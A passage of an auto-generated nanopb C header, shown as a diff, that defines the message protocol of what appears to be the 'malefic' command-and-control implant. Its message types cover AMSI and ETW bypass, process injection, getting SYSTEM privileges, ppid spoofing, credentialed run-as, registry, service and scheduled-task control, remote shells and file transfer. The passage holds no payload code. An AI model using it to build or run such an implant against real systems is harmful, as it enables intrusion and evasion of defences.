"", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 +#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ +X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define 